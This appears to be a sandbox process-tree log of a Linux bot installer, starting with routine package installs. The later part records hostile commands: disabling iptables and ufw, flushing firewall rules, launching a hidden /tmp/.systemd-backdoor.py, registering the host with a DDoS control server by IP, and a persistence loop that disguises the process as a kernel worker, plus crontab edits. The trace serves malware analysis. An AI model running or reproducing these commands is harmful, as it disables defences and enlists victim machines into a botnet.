- /usr/bin/apt-get
  apt-get install -y netcat-openbsd curl python3 bc lsof jq
  2⤵
  - Deletes log files
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:904
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:905
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:906
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:907
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:908
- - /bin/sh
    /bin/sh -c "/usr/sbin/dpkg-preconfigure --apt || true"
    3⤵
    PID:909
  - - /usr/sbin/dpkg-preconfigure
      /usr/sbin/dpkg-preconfigure --apt
      4⤵
      OS Credential Dumping
      PID:910
    - - /usr/local/sbin/locale
        
        locale charmap
        5⤵
        
        PID:911
    - - /usr/local/bin/locale
        
        locale charmap
        5⤵
        
        PID:911
    - - /usr/sbin/locale
        
        locale charmap
        5⤵
        
        PID:911
    - - /usr/bin/locale
        
        locale charmap
        5⤵
        
        PID:911
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:912
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:913
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:914
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:915
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:916
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:917
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:918
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:919
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:920
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:921
    - - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        5⤵
        
        PID:922
      - /bin/stty
        
        stty -a
        6⤵
        
        PID:923
- - /usr/bin/dpkg
    /usr/bin/dpkg --assert-multi-arch
    3⤵
    PID:924
- - /usr/bin/dpkg
    /usr/bin/dpkg --status-fd 16 --no-triggers --unpack --auto-deconfigure --recursive /tmp/apt-dpkg-install-yLCRxD
    3⤵
    - Write file to user bin folder
    - Writes file to system bin folder
    PID:925
  - - /usr/local/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb
      4⤵
      PID:926
  - - /usr/local/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb
      4⤵
      PID:926
  - - /usr/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb
      4⤵
      PID:926
  - - /usr/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb
      4⤵
      PID:926
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:927
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:927
  - - /usr/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:927
  - - /usr/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:927
    - - /usr/local/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:930
    - - /usr/local/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:930
    - - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:930
    - - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:930
    - - /sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:930
    - - /bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        Reads runtime system information
        
        PID:930
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb
      4⤵
      PID:931
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb
      4⤵
      PID:931
  - - /usr/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb
      4⤵
      PID:931
  - - /usr/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/0-lsof_4.89+dfsg-0.1_armhf.deb
      4⤵
      PID:931
  - - /usr/local/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:934
  - - /usr/local/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:934
  - - /usr/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:934
  - - /usr/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:934
  - - /sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:934
  - - /bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:934
  - - /usr/local/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb
      4⤵
      PID:935
  - - /usr/local/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb
      4⤵
      PID:935
  - - /usr/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb
      4⤵
      PID:935
  - - /usr/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb
      4⤵
      PID:935
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:936
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:936
  - - /usr/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:936
  - - /usr/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:936
    - - /usr/local/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:939
    - - /usr/local/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:939
    - - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:939
    - - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:939
    - - /sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:939
    - - /bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:939
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb
      4⤵
      PID:940
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb
      4⤵
      PID:940
  - - /usr/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb
      4⤵
      PID:940
  - - /usr/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/1-bc_1.06.95-9+b3_armhf.deb
      4⤵
      PID:940
  - - /usr/local/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:943
  - - /usr/local/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:943
  - - /usr/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:943
  - - /usr/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:943
  - - /sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:943
  - - /bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:943
  - - /usr/local/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb
      4⤵
      PID:944
  - - /usr/local/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb
      4⤵
      PID:944
  - - /usr/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb
      4⤵
      PID:944
  - - /usr/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb
      4⤵
      PID:944
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:945
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:945
  - - /usr/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:945
  - - /usr/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:945
    - - /usr/local/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:948
    - - /usr/local/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:948
    - - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:948
    - - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:948
    - - /sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:948
    - - /bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:948
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb
      4⤵
      PID:949
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb
      4⤵
      PID:949
  - - /usr/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb
      4⤵
      PID:949
  - - /usr/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/2-libonig4_6.1.3-2+deb9u2_armhf.deb
      4⤵
      PID:949
  - - /usr/local/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:952
  - - /usr/local/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:952
  - - /usr/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:952
  - - /usr/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:952
  - - /sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:952
  - - /bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:952
  - - /usr/local/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:953
  - - /usr/local/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:953
  - - /usr/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:953
  - - /usr/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:953
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:954
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:954
  - - /usr/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:954
  - - /usr/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:954
    - - /usr/local/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:957
    - - /usr/local/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:957
    - - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:957
    - - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:957
    - - /sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:957
    - - /bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:957
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:958
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:958
  - - /usr/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:958
  - - /usr/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/3-libjq1_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:958
  - - /usr/local/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:961
  - - /usr/local/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:961
  - - /usr/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:961
  - - /usr/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:961
  - - /sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:961
  - - /bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:961
  - - /usr/local/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:962
  - - /usr/local/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:962
  - - /usr/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:962
  - - /usr/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:962
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:963
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:963
  - - /usr/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:963
  - - /usr/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:963
    - - /usr/local/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:966
    - - /usr/local/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:966
    - - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:966
    - - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:966
    - - /sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:966
    - - /bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:966
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:967
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:967
  - - /usr/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:967
  - - /usr/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/4-jq_1.5+dfsg-1.3_armhf.deb
      4⤵
      PID:967
  - - /usr/local/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:970
  - - /usr/local/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:970
  - - /usr/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:970
  - - /usr/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:970
  - - /sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:970
  - - /bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:970
  - - /usr/local/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb
      4⤵
      PID:971
  - - /usr/local/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb
      4⤵
      PID:971
  - - /usr/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb
      4⤵
      PID:971
  - - /usr/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb
      4⤵
      PID:971
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:972
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:972
  - - /usr/sbin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:972
  - - /usr/bin/dpkg-deb
      dpkg-deb --control /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:972
    - - /usr/local/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:975
    - - /usr/local/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:975
    - - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:975
    - - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:975
    - - /sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:975
    - - /bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:975
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb
      4⤵
      PID:976
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb
      4⤵
      PID:976
  - - /usr/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb
      4⤵
      PID:976
  - - /usr/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-yLCRxD/5-netcat-openbsd_1.130-3_armhf.deb
      4⤵
      PID:976
  - - /usr/local/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:979
  - - /usr/local/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:979
  - - /usr/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:979
  - - /usr/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:979
  - - /sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:979
  - - /bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:979
- - /usr/bin/dpkg
    /usr/bin/dpkg --status-fd 16 --configure --pending
    3⤵
    - Executes dropped EXE
    - Software Deployment Tools
    PID:980
  - - /var/lib/dpkg/info/netcat-openbsd.postinst
      /var/lib/dpkg/info/netcat-openbsd.postinst configure
      4⤵
      PID:981
    - - /usr/bin/update-alternatives
        
        update-alternatives --install /bin/nc nc /bin/nc.openbsd 50 --slave /bin/netcat netcat /bin/nc.openbsd --slave /usr/share/man/man1/nc.1.gz nc.1.gz /usr/share/man/man1/nc_openbsd.1.gz --slave /usr/share/man/man1/netcat.1.gz netcat.1.gz /usr/share/man/man1/nc_openbsd.1.gz
        5⤵
        
        PID:982
  - - /var/lib/dpkg/info/libc-bin.postinst
      /var/lib/dpkg/info/libc-bin.postinst triggered ldconfig
      4⤵
      PID:983
    - - /sbin/ldconfig
        
        ldconfig
        5⤵
        
        PID:984
  - - /var/lib/dpkg/info/bc.postinst
      /var/lib/dpkg/info/bc.postinst configure
      4⤵
      PID:985
    - - /usr/bin/which
        
        which update-menus
        5⤵
        
        PID:986
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:987
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:988
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:991
- /bin/systemctl
  systemctl stop iptables
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:992
- /bin/systemctl
  systemctl disable iptables
  2⤵
  - Enumerates kernel/hardware configuration
  PID:993
- /bin/systemctl
  systemctl stop ufw
  2⤵
  - Enumerates kernel/hardware configuration
  PID:994
- /bin/systemctl
  systemctl disable ufw
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:995
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:996
- /sbin/iptables
  iptables -X
  2⤵
  - Flushes firewall rules
  PID:999
- /bin/fuser
  fuser -k 7201/tcp
  2⤵
  - Enumerates active TCP sockets
  - Reads process memory
  - Reads system network configuration
  - Reads runtime system information
  PID:1001
- /usr/bin/lsof
  lsof -ti :7201
  2⤵
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:1002
- /usr/bin/xargs
  xargs kill -9
  2⤵
  PID:1003
- - /usr/local/sbin/kill
    kill -9
    3⤵
    PID:1004
- - /usr/local/bin/kill
    kill -9
    3⤵
    PID:1004
- - /usr/sbin/kill
    kill -9
    3⤵
    PID:1004
- - /usr/bin/kill
    kill -9
    3⤵
    PID:1004
- - /sbin/kill
    kill -9
    3⤵
    PID:1004
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    PID:1004
- /usr/bin/pkill
  pkill -f "python3.*7201"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1005
- /usr/bin/pkill
  pkill -f "nc.*7201"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1006
- /usr/bin/pkill
  pkill -f kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1007
- /bin/sleep
  sleep 2
  2⤵
  PID:1008
- /bin/cat
  cat
  2⤵
  PID:1009
- /bin/chmod
  chmod +x /tmp/.systemd-backdoor.py
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /usr/bin/nohup
  nohup python3 /tmp/.systemd-backdoor.py
  2⤵
  PID:1011
- /usr/local/sbin/python3
  python3 /tmp/.systemd-backdoor.py
  2⤵
  - Command and Scripting Interpreter: Python
  PID:1011
- /usr/local/bin/python3
  python3 /tmp/.systemd-backdoor.py
  2⤵
  - Command and Scripting Interpreter: Python
  PID:1011
- /usr/sbin/python3
  python3 /tmp/.systemd-backdoor.py
  2⤵
  - Command and Scripting Interpreter: Python
  PID:1011
- /usr/bin/curl
  curl -s ifconfig.me
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:1013
- /usr/bin/python3
  python3 /tmp/.systemd-backdoor.py
  2⤵
  - Command and Scripting Interpreter: Python
  PID:1011
- /bin/hostname
  hostname
  2⤵
  PID:1015
- /usr/bin/curl
  curl -s -X POST "http://45.207.157.28/ddos.php?action=register_server" --data "ip=85.203.46.201&port=7201&name=debian9-armhf-20260513-en-11"
  2⤵
  - Checks CPU configuration
  PID:1016
- /usr/bin/nohup
  nohup bash -c " while true; do if [ ! -f '/var/run/.systemd.pid' ]; then echo 'PID文件丢失，重启后门...' nohup python3 '/tmp/.systemd-backdoor.py' >> '/var/log/.systemd.log' 2>&1 & NEW_PID=\$! echo \$NEW_PID > '/var/run/.systemd.pid' echo 'kworker/u:2' > /proc/\$NEW_PID/comm 2>/dev/null else PID=\$(cat '/var/run/.systemd.pid' 2>/dev/null) if ! kill -0 \$PID 2>/dev/null; then echo '主进程已死，重启...' rm -f '/var/run/.systemd.pid' nohup python3 '/tmp/.systemd-backdoor.py' >> '/var/log/.systemd.log' 2>&1 & NEW_PID=\$! echo \$NEW_PID > '/var/run/.systemd.pid' echo 'kworker/u:2' > /proc/\$NEW_PID/comm 2>/dev/null fi fi sleep 10 done "
  2⤵
  PID:1017
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1019
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1020
- /usr/local/sbin/bash
